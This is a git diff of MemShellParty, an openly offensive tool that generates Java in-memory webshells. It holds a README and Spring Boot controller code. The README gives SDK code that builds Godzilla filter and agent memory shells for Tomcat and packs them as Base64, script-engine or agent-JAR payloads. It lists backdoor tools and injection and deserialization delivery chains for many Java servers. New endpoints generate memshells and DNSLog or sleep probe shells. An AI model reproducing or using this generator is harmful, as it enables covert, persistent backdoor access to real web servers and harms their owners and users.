[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
GlassFish,因为它使用的是 GlassFish 进行的二开)。
### 在线站点 ### 在线站点
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门 > 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
直接访问 [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。 可访问master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
### 本地部署(推荐) ### 本地部署(推荐)
@@ -84,288 +90,17 @@ docker rm -f memshell-party
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
``` ```
### SDK 集成到现有工具中 ## User Guide
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持 1. [适配情况](./docs/Compatibility.md)
2. [本地构建](./docs/BuildOnLocal.md)
3. [SDK 集成](./examples/memshell-party-maven-example)
4. [代码贡献](./CONTRIBUTING.md)
1. 添加依赖,Maven Or Gradle ## Special Thanks
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. 生成 Tomcat Godzilla Filter 内存马示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:"+result.getInjectorClassName());
System.out.println("内存马类名:"+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
```
3. 生成 Tomcat Godzilla AgentFilterChain 示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 | Primeton6.5 |
|----------------------|----------------------|------------------------|---------------|----------------------|
| Filter | Filter | Filter | Servlet | Filter |
| Listener | Listener | Listener | Filter | Listener |
| Valve | Valve | Valve | Listener | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
### 内存马功能
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### 封装方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB 和 CC 链)
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
## 本地构建
### 源代码构建
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
1. 使用 Git Clone 项目
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
```bash
cd MemShellParty/web
bun install
bun run build
```
3. 构建后端项目,确保使用 JDK17 环境
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
也可这基础上再继续构建容器来使用
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Dockerfile 一键构建
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44)
下载项目根目录的 [Dockerfile](./Dockerfile)
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
- ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀
```bash
# 基础构建
docker buildx build \
--build-arg VERSION=1.6.0 \
-t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建
docker buildx build \
--build-arg VERSION=1.6.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
其中 `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party`
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## Contribute
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
> It will be so nice if you want to contribute. 🎉
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
## Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) - [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
### Let's start the party 🎉 ### Let's start the party 🎉
Binary file not shown.

Before

Width:  |  Height:  |  Size: 130 KiB

After

Width:  |  Height:  |  Size: 130 KiB

+35
View File
@@ -0,0 +1,35 @@
import http.server
import socketserver
PORT = 8000
TARGET_PATH = "/api/v1/data"
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
if self.path == TARGET_PATH:
try:
content_length = int(self.headers['Content-Length'])
post_data_bytes = self.rfile.read(content_length)
post_data_str = post_data_bytes.decode('utf-8')
print("-----------------------------\n")
print(f"Client IP: {self.client_address}")
print(f"Request Header:\n{self.headers}")
print(f"Request Body:\n{post_data_str}")
print("-----------------------------\n")
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
response_message = '{"status": "success"}'
self.wfile.write(response_message.encode('utf-8'))
except Exception as e:
print(f"Parse POST failed: {e}")
self.send_response(500)
else:
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
self.send_response(404)
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
httpd.serve_forever()
+16
View File
@@ -0,0 +1,16 @@
import http from 'k6/http';
import {check, sleep} from 'k6';
export const options = {
rps: 4500,
vus: 10,
duration: '5m',
};
export default function () {
const res = http.get('http://localhost:8082/app/test');
check(res, {
'status is 200': (r) => r.status === 200,
});
sleep(1);
}
Binary file not shown.

Before

Width:  |  Height:  |  Size: 242 KiB

After

Width:  |  Height:  |  Size: 265 KiB

-63
View File
@@ -1,63 +0,0 @@
plugins {
id 'java'
id 'org.springframework.boot' version '3.4.0'
id 'io.spring.dependency-management' version '1.1.6'
}
group = 'com.reajason.javaweb'
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
configurations {
compileOnly {
extendsFrom annotationProcessor
}
}
dependencies {
implementation(project(":generator")) {
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation(project(":deserialize")) {
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
}
implementation 'org.apache.commons:commons-lang3:3.+'
implementation 'org.springframework.boot:spring-boot-starter-undertow'
compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools'
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
annotationProcessor 'org.projectlombok:lombok'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
}
test {
useJUnitPlatform()
}
+48
View File
@@ -0,0 +1,48 @@
plugins {
id("java")
id("org.springframework.boot") version "3.5.3"
id("io.spring.dependency-management") version "1.1.7"
}
group = "io.github.reajason"
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
configurations {
compileOnly {
extendsFrom(configurations.annotationProcessor.get())
}
}
dependencies {
implementation(project(":generator")) {
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
exclude(group = "commons-logging", module = "commons-logging")
}
implementation(project(":packer")) {
exclude(group = "commons-logging", module = "commons-logging")
}
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-jetty")
compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
annotationProcessor("org.projectlombok:lombok")
testImplementation("org.springframework.boot:spring-boot-starter-test")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
}
tasks.test {
useJUnitPlatform()
}
@@ -1,12 +1,9 @@
package com.reajason.javaweb.boot; package com.reajason.javaweb.boot;
import com.reajason.javaweb.memshell.Server;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.SpringApplication; import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.SpringBootApplication;
import java.util.Arrays;
/** /**
* @author ReaJason * @author ReaJason
*/ */
@@ -16,8 +13,5 @@ public class BootApplication {
public static void main(String[] args) { public static void main(String[] args) {
SpringApplication.run(BootApplication.class, args); SpringApplication.run(BootApplication.class, args);
Server[] values = Server.values();
log.info("Supported servers: {}", Arrays.toString(values));
log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
} }
} }
@@ -1,10 +1,13 @@
package com.reajason.javaweb.boot.api; package com.reajason.javaweb.boot.api;
import com.reajason.javaweb.GenerationException;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.ResponseStatus; import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestControllerAdvice; import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.springframework.web.servlet.resource.NoResourceFoundException;
/** /**
* @author ReaJason * @author ReaJason
@@ -13,10 +16,23 @@ import org.springframework.web.bind.annotation.RestControllerAdvice;
@RestControllerAdvice @RestControllerAdvice
@Slf4j @Slf4j
public class GlobalExceptionHandler { public class GlobalExceptionHandler {
@ResponseStatus(HttpStatus.NOT_FOUND)
@ExceptionHandler(NoResourceFoundException.class)
public ResponseEntity<?> handleNoResourceException() {
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(GenerationException.class)
public ErrorResponse handleGenerationException(GenerationException exception) {
return new ErrorResponse(exception.getMessage());
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR) @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(Throwable.class) @ExceptionHandler(Throwable.class)
public ErrorResponse handleThrowable(Throwable throwable) { public ErrorResponse handleThrowable(Throwable throwable) {
log.error("请求出错", throwable); log.error("Internal Exception", throwable);
return new ErrorResponse(throwable.getMessage()); return new ErrorResponse(throwable.getMessage());
} }
} }
@@ -1,10 +1,11 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers;
import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
@@ -24,11 +25,10 @@ public class ConfigController {
@RequestMapping("/servers") @RequestMapping("/servers")
public Map<String, List<String>> getServers() { public Map<String, List<String>> getServers() {
Map<String, List<String>> servers = new LinkedHashMap<>(); Map<String, List<String>> servers = new LinkedHashMap<>();
for (Server server : Server.values()) { List<String> supportedServers = ServerFactory.getSupportedServers();
if (server.getShell() != null) { for (String supportedServer : supportedServers) {
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes(); Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer).getShellInjectorMapping().getSupportedShellTypes();
servers.put(server.name(), supportedShellTypes.stream().toList()); servers.put(supportedServer, supportedShellTypes.stream().toList());
}
} }
return servers; return servers;
} }
@@ -43,26 +43,30 @@ public class ConfigController {
@RequestMapping @RequestMapping
public Map<String, Map<?, ?>> config() { public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16); Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
for (Server value : Server.values()) { List<String> supportedServers = ServerFactory.getSupportedServers();
AbstractShell shell = value.getShell(); for (String supportedServer : supportedServers) {
if (shell == null) { AbstractServer server = ServerFactory.getServer(supportedServer);
if (server == null) {
continue; continue;
} }
Map<String, Set<String>> map = new LinkedHashMap<>(16); Map<String, Set<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : shell.getSupportedShellTools()) { for (ShellTool shellTool : server.getSupportedShellTools()) {
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool); Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) { if (supportedShellTypes.isEmpty()) {
continue; continue;
} }
map.put(shellTool.name(), supportedShellTypes); map.put(shellTool.name(), supportedShellTypes);
} }
coreMap.put(value.name(), map); coreMap.put(supportedServer, map);
} }
return coreMap; return coreMap;
} }
@GetMapping("/command/encryptors") @GetMapping("/command/configs")
public List<CommandConfig.Encryptor> getCommandEncryptors() { public CommandConfigVO getCommandConfigs() {
return Arrays.stream(CommandConfig.Encryptor.values()).toList(); CommandConfigVO commandConfigVO = new CommandConfigVO();
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
return commandConfigVO;
} }
} }
@@ -1,40 +0,0 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.GenerateRequest;
import com.reajason.javaweb.boot.dto.GenerateResponse;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/18
*/
@RestController
@RequestMapping("/generate")
@CrossOrigin("*")
public class GeneratorController {
@PostMapping
public GenerateResponse generate(@RequestBody GenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof JarPacker) {
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
} else if (packer instanceof AggregatePacker) {
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
} else {
return new GenerateResponse(generateResult, packer.pack(generateResult));
}
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.jar.JarPacker;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/18
*/
@RestController
@RequestMapping("/memshell/generate")
@CrossOrigin("*")
public class MemShellGeneratorController {
@PostMapping
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof JarPacker) {
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
} else if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
}
}
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ProbeContentConfig;
import org.springframework.web.bind.annotation.*;
/**
* @author ReaJason
* @since 2025/8/10
*/
@RestController
@RequestMapping("/probe/generate")
@CrossOrigin("*")
public class ProbeShellGeneratorController {
@PostMapping
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
ProbeConfig probeConfig = request.getProbeConfig();
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
}
}
}
@@ -1,29 +0,0 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@NoArgsConstructor
public class GenerateResponse {
private GenerateResult generateResult;
private String packResult;
private Map<String, String> allPackResults;
public GenerateResponse(GenerateResult generateResult, String packResult) {
this.generateResult = generateResult;
this.packResult = packResult;
}
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.generateResult = generateResult;
}
}
@@ -1,8 +1,8 @@
package com.reajason.javaweb.boot.dto; package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.Data; import lombok.Data;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
@@ -11,7 +11,7 @@ import org.apache.commons.lang3.StringUtils;
* @since 2024/12/18 * @since 2024/12/18
*/ */
@Data @Data
public class GenerateRequest { public class MemShellGenerateRequest {
private ShellConfig shellConfig; private ShellConfig shellConfig;
private ShellToolConfigDTO shellToolConfig; private ShellToolConfigDTO shellToolConfig;
private InjectorConfig injectorConfig; private InjectorConfig injectorConfig;
@@ -29,6 +29,7 @@ public class GenerateRequest {
private String headerValue; private String headerValue;
private String shellClassBase64; private String shellClassBase64;
private String encryptor; private String encryptor;
private String implementationClass;
} }
public ShellToolConfig parseShellToolConfig() { public ShellToolConfig parseShellToolConfig() {
@@ -50,6 +51,7 @@ public class GenerateRequest {
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8))) .paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build(); .build();
case Suo5 -> Suo5Config.builder() case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
@@ -0,0 +1,29 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.MemShellResult;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@NoArgsConstructor
public class MemShellGenerateResponse {
private MemShellResult memShellResult;
private String packResult;
private Map<String, String> allPackResults;
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
this.memShellResult = memShellResult;
this.packResult = packResult;
}
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.memShellResult = memShellResult;
}
}
@@ -0,0 +1,44 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.config.*;
import lombok.Data;
/**
* @author ReaJason
* @since 2025/8/10
*/
@Data
public class ProbeShellGenerateRequest {
private ProbeConfig probeConfig;
private ProbeContentConfigDTO probeContentConfig;
private Packers packer;
@Data
static class ProbeContentConfigDTO {
private String host;
private int seconds;
private String server;
private String sleepServer;
private String reqParamName;
private String reqHeaderName;
}
public ProbeContentConfig parseProbeContentConfig() {
return switch (probeConfig.getProbeMethod()) {
case DNSLog -> DnsLogConfig.builder()
.host(probeContentConfig.host)
.build();
case Sleep -> SleepConfig.builder()
.seconds(probeContentConfig.seconds)
.server(probeContentConfig.sleepServer)
.build();
case ResponseBody -> ResponseBodyConfig.builder()
.reqParamName(probeContentConfig.reqParamName)
.reqHeaderName(probeContentConfig.reqHeaderName)
.server(probeContentConfig.server)
.build();
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
};
}
}
@@ -0,0 +1,29 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.probe.ProbeShellResult;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/8/10
*/
@Data
@NoArgsConstructor
public class ProbeShellGenerateResponse {
private ProbeShellResult probeShellResult;
private String packResult;
private Map<String, String> allPackResults;
